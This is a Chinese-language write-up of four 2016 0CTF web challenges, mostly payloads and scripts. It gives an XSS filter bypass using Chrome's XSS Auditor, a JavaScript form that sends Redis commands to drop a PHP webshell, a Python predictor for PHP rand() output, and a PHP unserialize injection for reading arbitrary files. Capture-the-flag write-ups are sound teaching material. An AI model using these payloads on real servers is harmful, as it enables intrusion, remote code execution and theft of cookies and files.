0CTF-Web-Writeup

2016 0CTF Web WriteUp

GuestBook

题目很明显的提示要获取httponly下的cookie 所以想到的是构造一个xss盲打 根据show.php返回的内容

<html>
<body>
    <script>var debug=false;</script>
    <div id="xx">
        <h2>xx</h2>
    </div>
    <div id="text"></div>
    <script>
    data = "xxx"
    t = document.getElementById("text")
    if(debug){
        t.innerHTML=data
    }else{
        t.innerText=data
    }
    </script>
</body>
</html>

Element.innerHTML是可以执行js的 但是debug默认是false 所以输出会以Text输出 而且在输入数据的时候 过滤了< > ‘ “ 之类的关键字

可以直接用hex绕过对<的过滤 post Message为

   \\x3cimg src=x onerror=alert(1)\\x3e

就能绕过最基本的过滤了 现在要考虑的是如何让debug为True

按照常规的话 管理员的游览器应该是Chrome 所以Chrome还有自身的XSS Auditor.

但是这个XSS Auditor在这里还有其他用处。

如果我们建立一个secret像然后请求show.php时 XSS Auditor会认为debug=false是危险的行为

然后游览器会直接忽略debug=false. 但是我们现在debug还未定义

我们可以发现username直接被当成了div中的id

Look it

在Chrome中HTML element中的id将会自动成为JavaScript中的变量

所以只要提交username为debug就能让debug有定义了

payload

Secret:
xxootest<script>var debug=false;</script>

Username:
debug

Message:
\\x3cimg src=a onerror=\\u0022eval(String.fromCharCode(97,108,101,114,116,40,49,41))\\u0022\\x3e

之后获取管理员的请求头信息

可以得到

Referer: http://127.0.0.1:8888/admin/show.php?secret=xxootest<script>var debug=false;</script>

所以直接获取admin/show.php中的源码 可以得到提示

change log: use http-only cookie to prevent cookie stealing by xss, so flag is safe in cookie always check /admin/server_info.php for load balancing 
to do: files and folders permission control, disallow other users write file into uploads folder

server_info.php类似一个探针 所以要获取http only的cookie方法已经很明显了

获取server_info.php?act=phpinfo源码 得到phpinfo中cookie信息 也无需考虑http only了

在获取到phpinfo的信息时 也可以发现

web路径

 /usr/share/nginx/html/

服务器还开启了Redis

所以就想到通过Redis写WebSHell

但是我们只有一个Xss 通过一番搜索

http://drops.wooyun.org/papers/3062

我们可以通过post来实现写入WebShell

payload

f=document.createElement('form');
[
    'CONFIG SET dir /usr/share/nginx/html/uploads/',
    'CONFIG SET dbfilename alizee_1s_l0v3.php',
    'SET PAYLOAD "<?php system($_GET[1]);>"','BGSAVE'
].forEach(function(e){
var i=document.createElement('input');
i.name='a';i.value=e;
f.appendChild(i);
});
f.method='POST';
f.action='http://127.0.0.1:6379/';
f.enctype='multipart/form-data';
f.submit();

拿到WebShell后 服务器还有open basedir disable_function 通过

https://rdot.org/forum/showpost.php?p=38750&postcount=16

绕过限制

成功get flag

Rand

<?php
include('config.php');
session_start();

if($_SESSION['time'] && time() - $_SESSION['time'] > 60) {
    session_destroy();
    die('timeout');
} else {
    $_SESSION['time'] = time();
}

echo rand();
if (isset($_GET['go'])) {
    $_SESSION['rand'] = array();
    $i = 5;
    $d = '';
    while($i--){
        $r = (string)rand();
        $_SESSION['rand'][] = $r;
        $d .= $r;
    }
    echo md5($d);
} else if (isset($_GET['check'])) {
    if ($_GET['check'] === $_SESSION['rand']) {
        echo $flag;
    } else {
        echo 'die';
        session_destroy();
    }
} else {
    show_source(__FILE__);
}

From http://www.freebuf.com/articles/96599.html

根据随机数产生的规律 可以搜集大量样本预测下一个随机数为多少

POC

import requests

url = "http://202.120.7.202:8888/"
for i in range(100):
    l = []
    q = []
    s=requests.Session()
    for j in range(50):
        text = s.get(url).content.split('<code>')[0].strip()
        l.append(int(text))
    text = s.get(url+'?go').content
    lens = len(text)-32
    num = text[0:lens].strip()
    md5 = text[lens:]
    l.append(int(num))
    for i in range(5):
        index = len(l)
        r = (int(l[index-3]+l[index-31]) % 2147483648)
        q.append(r)
        l.append(r)
    tmp = ''
    for i in range(len(q)):
        shuzu = q[i]
        checkurl = 'check[%s]=%s' %(i,shuzu)
        if i == 4:
            tmp = tmp+checkurl
            break
        tmp = tmp+checkurl+'&'
    target = url+'?'+tmp
    print target
    texts = s.get(target).content
    print texts

Monkey

先写了个脚本来爆MD5

#!/usr/bin/env python  
#coding:utf-8  
  
import sys  
import string  
import itertools  
import md5
import time

def get_strings():  
    chars=string.printable[:62]  
    strings=[]  
    for i in xrange(min,max+1):  
        strings.append((itertools.product(chars,repeat=i),))  
    return itertools.chain(*strings)  
  
def make_dict(files):  
    for x in list_str:  
        for y in x:
            #print "88316675d7882e3fdbe066000273842c"+"".join(y)
            #time.sleep(5)
            aq = md5.new()
            aq.update("".join(y))
            head = aq.hexdigest()[0:6]
            if head == files:
                print "".join(y)
            #time.sleep(5)
            #print "".join(y)
    print 'Done'  
  
while True:  
    if len(sys.argv)==4:  
        try:  
            min = int(sys.argv[1])  
            max = int(sys.argv[2])  
        except:  
            print "wrong"  
            sys.exit(0)  
        if min <= max:  
            list_str= get_strings()
            #print list_str 
            files=sys.argv[3]  
            make_dict(files)  

python 2.py 1 5 c4f8004

得到所需的字符

robot会访问我们提供的url 但是目的是得到127.0.0.1的源码 如果直接用jquery请求的话是跨域 不能实现

题目提醒robot会停留2min…

From https://www.defcon.org/images/defcon-18/dc-18-presentations/Heffner/DEFCON-18-Heffner-Routers.pdf

一个很猥琐的思路产生了

我们让robot访问我们的页面http://ctf.c-chicken.cc:8080/xx.html

然后在html设置一个延迟访问

在延迟的这段时间 马上更改DNS 吧ctf.c-chicken.cc指向127.0.0.1 达到跨域的目的。。

的确非常猥琐:)

paipaipai

查看源码

	public function filter($string) {
		$escape = array('\'', '\\\\');
		$escape = '/' . implode('|', $escape) . '/';
		$string = preg_replace($escape, '_', $string);

		$safe = array('select', 'insert', 'update', 'delete', 'where');
		$safe = '/' . implode('|', $safe) . '/i';
		return preg_replace($safe, 'hacker', $string);
	}

注入的话 好像是不太可能的

但是在update.php

<?php
	require_once('class.php');
	if($_SESSION['username'] == null) {
		die('Login First');	
	}
	if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {

		$username = $_SESSION['username'];
		if(!preg_match('/^\d{11}$/', $_POST['phone']))
			die('Invalid phone');

		if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
			die('Invalid email');
		
		if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
			die('Invalid nickname');

		$file = $_FILES['photo'];
		if($file['size'] < 5 or $file['size'] > 1000000)
			die('Photo size error');

		move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
		$profile['phone'] = $_POST['phone'];
		$profile['email'] = $_POST['email'];
		$profile['nickname'] = $_POST['nickname'];
		$profile['photo'] = 'upload/' . md5($file['name']);

		$user->update_profile($username, serialize($profile));
		echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';
	}
	else {
?>

profile.php

<?php
	require_once('class.php');
	if($_SESSION['username'] == null) {
		die('Login First');	
	}
	$username = $_SESSION['username'];
	$profile=$user->show_profile($username);
	if($profile  == null) {
		header('Location: update.php');
	}
	else {
		$profile = unserialize($profile);
		$phone = $profile['phone'];
		$email = $profile['email'];
		$nickname = $profile['nickname'];
		$photo = base64_encode(file_get_contents($profile['photo']));
?>

我们可以很明显的看到序列化和file_get_contents

如果能控制profile[‘photo’]我们不就可以实现任意文件读取了吗:)

看update判断

$username = $_SESSION['username'];
		if(!preg_match('/^\d{11}$/', $_POST['phone']))
			die('Invalid phone');

		if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
			die('Invalid email');
		
		if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
			die('Invalid nickname');

		$file = $_FILES['photo'];
		if($file['size'] < 5 or $file['size'] > 1000000)
			die('Photo size error');

我们看到只有nickname采用了OR判断 只要$_POST[‘nickname’]不大于10的话 也就可以过判断了

strlen(数组)的话 不管输入多少 得出来的都是0

我们知道php在进行unserialize时 如果解出一个完整的序列化语句后 后面的字符就不会再进行解析了

所以我们可以在nickname那里构造

xxx”;}s:5:“photo”;s:10:“config.php

但是我们会发现得到的是

{i:0;s:34:“xxx”;}s:5:“photo”;s:10:“config.php”;}

xxx的长度并和34不匹配 所以并不能成功构造出phone为config.php

回过去看filter函数中 会把select insert where.. 之类的替换成hacker 那么如果我们提交where 5个字符 然后被替换成了hacker6个字符

那么构造足够多的where不就可以达到长度的匹配了0.0

payload

wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php

GuestBook2参考https://blog.ka0labs.net/post/33/

comments powered by Disqus